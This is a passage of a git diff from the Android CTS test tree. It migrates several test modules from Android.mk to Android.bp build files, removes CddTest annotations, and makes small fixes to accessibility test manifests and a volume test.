+++ b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobSharedUidTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "current",
+}
diff --git a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk b/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
deleted file mode 100644
index f3d36db..0000000
--- a/tests/JobSchedulerSharedUid/JobSharedUidTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSharedUidTestApp
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.bp b/tests/JobSchedulerSharedUid/jobperm/Android.bp
new file mode 100644
index 0000000..9ac380c
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/jobperm/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobSchedulerJobPerm",
+    defaults: ["cts_defaults"],
+    static_libs: ["compatibility-device-util-axt"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    platform_apis: true,
+}
diff --git a/tests/JobSchedulerSharedUid/jobperm/Android.mk b/tests/JobSchedulerSharedUid/jobperm/Android.mk
deleted file mode 100644
index 44ecdf3..0000000
--- a/tests/JobSchedulerSharedUid/jobperm/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSchedulerJobPerm
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.bp b/tests/JobSchedulerSharedUid/shareduid/Android.bp
new file mode 100644
index 0000000..68ed7f5
--- /dev/null
+++ b/tests/JobSchedulerSharedUid/shareduid/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJobSchedulerSharedUid",
+    defaults: ["cts_defaults"],
+    static_libs: ["compatibility-device-util-axt"],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/JobSchedulerSharedUid/shareduid/Android.mk b/tests/JobSchedulerSharedUid/shareduid/Android.mk
deleted file mode 100644
index cfc89cd..0000000
--- a/tests/JobSchedulerSharedUid/shareduid/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util-axt \
-
-LOCAL_SRC_FILES := \
-    $(call all-java-files-under, src) \
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsJobSchedulerSharedUid
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/ProcessTest/Android.bp b/tests/ProcessTest/Android.bp
new file mode 100644
index 0000000..166c3f2
--- /dev/null
+++ b/tests/ProcessTest/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// TODO: should it be android_helper_test_app?
+android_test {
+    name: "ProcessTests",
+    defaults: ["cts_defaults"],
+    aaptflags: [
+        "-c",
+        "xx_YY",
+        "-c",
+        "cs",
+    ],
+    srcs: ["**/*.java"],
+    static_libs: ["junit"],
+    libs: ["android.test.base.stubs"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    sdk_version: "current",
+}
diff --git a/tests/ProcessTest/Android.mk b/tests/ProcessTest/Android.mk
deleted file mode 100644
index 3084b61..0000000
--- a/tests/ProcessTest/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_AAPT_FLAGS = -c xx_YY -c cs
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_STATIC_JAVA_LIBRARIES := junit
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_PACKAGE_NAME := ProcessTests
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/ProcessTest/NoShareUidApp/Android.bp b/tests/ProcessTest/NoShareUidApp/Android.bp
new file mode 100644
index 0000000..1d11c3e
--- /dev/null
+++ b/tests/ProcessTest/NoShareUidApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "NoShareUidApp",
+    defaults: ["cts_defaults"],
+    srcs: ["**/*.java"],
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/ProcessTest/NoShareUidApp/Android.mk b/tests/ProcessTest/NoShareUidApp/Android.mk
deleted file mode 100644
index 7645b5c..0000000
--- a/tests/ProcessTest/NoShareUidApp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_PACKAGE_NAME := NoShareUidApp
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/ProcessTest/ShareUidApp/Android.bp b/tests/ProcessTest/ShareUidApp/Android.bp
new file mode 100644
index 0000000..7dc727e
--- /dev/null
+++ b/tests/ProcessTest/ShareUidApp/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2009 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "ShareUidApp",
+    defaults: ["cts_defaults"],
+    srcs: ["**/*.java"],
+    sdk_version: "current",
+    optimize: {
+        enabled: false,
+    },
+    dex_preopt: {
+        enabled: false,
+    },
+}
diff --git a/tests/ProcessTest/ShareUidApp/Android.mk b/tests/ProcessTest/ShareUidApp/Android.mk
deleted file mode 100644
index fdd3feb..0000000
--- a/tests/ProcessTest/ShareUidApp/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-
-LOCAL_PACKAGE_NAME := ShareUidApp
-LOCAL_SDK_VERSION := current
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
index 8faee83..a64a900 100644
--- a/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
+++ b/tests/ProcessTest/src/com/android/cts/process/ProcessTest.java
@@ -25,8 +25,6 @@
 import android.content.pm.PackageManager;
 import android.test.AndroidTestCase;
 
-import com.android.compatibility.common.util.CddTest;
-
 import com.android.cts.process.activity.NoSharePidActivity;
 import com.android.cts.process.activity.SharePidActivity;
 import com.android.cts.process.activity.SharePidSubActivity;
@@ -34,7 +32,6 @@
 public class ProcessTest extends AndroidTestCase {
     private final int WAIT_TIME = 2000;
 
-    @CddTest(requirement="9.2/C-0-1")
     public void testUid() throws Exception {
         String enableApp = "com.android.cts.process.shareuidapp";
         String disableApp = "com.android.cts.process.noshareuidapp";
@@ -49,7 +46,6 @@
         assertNotSame(uid2, uid3);
     }
 
-    @CddTest(requirement="9.2/C-0-1")
     public void testPid() throws Exception {
         ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
         String shareProcessName = mContext.getPackageName() + ":shareProcess";
diff --git a/tests/acceleration/Android.bp b/tests/acceleration/Android.bp
new file mode 100644
index 0000000..2d4e9e4
--- /dev/null
+++ b/tests/acceleration/Android.bp
@@ -0,0 +1,40 @@
+// Copyright (C) 2011 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAccelerationTestCases",
+    defaults: ["cts_defaults"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/acceleration/Android.mk b/tests/acceleration/Android.mk
deleted file mode 100644
index 789a8f4..0000000
--- a/tests/acceleration/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2011 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_DEX_PREOPT := false
-
-LOCAL_PROGUARD_ENABLED := disabled
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt compatibility-device-util-axt
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsAccelerationTestCases
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/accessibility/Android.bp b/tests/accessibility/Android.bp
new file mode 100644
index 0000000..c72a2ba
--- /dev/null
+++ b/tests/accessibility/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2012 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAccessibilityTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+        "hamcrest-library",
+    ],
+    libs: ["android.test.base.stubs"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+}
diff --git a/tests/accessibility/Android.mk b/tests/accessibility/Android.mk
deleted file mode 100644
index c1806c6..0000000
--- a/tests/accessibility/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsAccessibilityTestCases
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt hamcrest-library 
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
index 2219ee7..e1b9706 100644
--- a/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
+++ b/tests/accessibility/res/xml/vibrating_accessibilityservice.xml
@@ -14,7 +14,7 @@
      limitations under the License.
 -->
 <accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accessibilityEventTypes="typeAllMask|"
+    android:accessibilityEventTypes="typeAllMask"
     android:accessibilityFeedbackType="feedbackHaptic"
     android:accessibilityFlags="flagDefault|flagRequestTouchExplorationMode"
     android:canRetrieveWindowContent="true"
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
new file mode 100644
index 0000000..d551c44
--- /dev/null
+++ b/tests/accessibilityservice/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2010 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsAccessibilityServiceTestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "hamcrest-library",
+        "mockito-target-minus-junit4",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    sdk_version: "test_current",
+    data: [":CtsAccessibilityWidgetProvider"],
+}
diff --git a/tests/accessibilityservice/Android.mk b/tests/accessibilityservice/Android.mk
deleted file mode 100644
index 9b2369c..0000000
--- a/tests/accessibilityservice/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt hamcrest-library \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    platform-test-annotations
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_PACKAGE_NAME := CtsAccessibilityServiceTestCases
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/accessibilityservice/AndroidManifest.xml b/tests/accessibilityservice/AndroidManifest.xml
index 4c0284a..df61d25 100644
--- a/tests/accessibilityservice/AndroidManifest.xml
+++ b/tests/accessibilityservice/AndroidManifest.xml
@@ -30,38 +30,38 @@
         <activity
             android:label="@string/accessibility_end_to_end_test_activity"
             android:name=".activities.AccessibilityEndToEndActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_query_window_test_activity"
             android:name=".activities.AccessibilityWindowQueryActivity"
             android:supportsPictureInPicture="true"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_view_tree_reporting_test_activity"
             android:name=".activities.AccessibilityViewTreeReportingActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_focus_and_input_focus_sync_test_activity"
             android:name=".activities.AccessibilityFocusAndInputFocusSyncActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity
             android:label="@string/accessibility_text_traversal_test_activity"
             android:name=".activities.AccessibilityTextTraversalActivity"
-            android:screenOrientation="locked"/>
+            android:screenOrientation="portrait"/>
 
         <activity android:label="Activity for testing window accessibility reporting"
              android:name=".activities.AccessibilityWindowReportingActivity"
              android:supportsPictureInPicture="true"
-             android:screenOrientation="locked"/>
+             android:screenOrientation="portrait"/>
 
         <activity
             android:label="Full screen activity for gesture dispatch testing"
             android:name=".AccessibilityGestureDispatchTest$GestureDispatchActivity"
-            android:screenOrientation="locked" />
+            android:screenOrientation="portrait" />
 
         <activity
             android:label="@string/accessibility_soft_keyboard_modes_activity"
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 5390f5e..5718c21 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -67,14 +67,11 @@
 import java.util.List;
 import java.util.concurrent.TimeoutException;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * This class performs end-to-end testing of the accessibility feature by
  * creating an {@link Activity} and poking around so {@link AccessibilityEvent}s
  * are generated and their correct dispatch verified.
  */
-@CddTest(requirement="3.10/C-1-2,W-1-1")
 public class AccessibilityEndToEndTest extends
         AccessibilityActivityTestCase<AccessibilityEndToEndActivity> {
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
index 7cb569c..2043c33 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityFocusAndInputFocusSyncTest.java
@@ -206,7 +206,7 @@
             public void run() {
                 // Perform a set focus action and check for success.
                 assertTrue(secondEditText.performAction(ACTION_ACCESSIBILITY_FOCUS));
-                
+
             }
         }, new UiAutomation.AccessibilityEventFilter() {
             @Override
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
index c6ec02e..f01251a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilitySettingsTest.java
@@ -27,13 +27,10 @@
 
 import java.util.List;
 
-import com.android.compatibility.common.util.CddTest;
-
 /**
  * This test case is responsible to verify that the intent for launching
  * accessibility settings has an activity that handles it.
  */
-@CddTest(requirement="3.10/C-1-3")
 @Presubmit
 public class AccessibilitySettingsTest extends AndroidTestCase {
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
index 3b2e978..68ba092 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityVolumeTest.java
@@ -72,8 +72,7 @@
             return;
         }
         final int startingVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_ACCESSIBILITY);
-        final int minVolume = mAudioManager.getStreamMinVolume(AudioManager.STREAM_ACCESSIBILITY);
-        final int otherVolume = (startingVolume == minVolume) ? (minVolume + 1) : startingVolume - 1;
+        final int otherVolume = (startingVolume == 0) ? 1 : startingVolume - 1;
         final InstrumentedAccessibilityService service = InstrumentedAccessibilityService
                 .enableService(mInstrumentation, InstrumentedAccessibilityService.class);
         try {
diff --git a/tests/accessibilityservice/test-apps/Android.mk b/tests/accessibilityservice/test-apps/Android.mk
deleted file mode 100644
index c9afcf1..0000000
--- a/tests/accessibilityservice/test-apps/Android.mk
+++ /dev/null
@@ -1,23 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
new file mode 100644
index 0000000..960d96b
--- /dev/null
+++ b/tests/accessibilityservice/test-apps/WidgetProvider/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
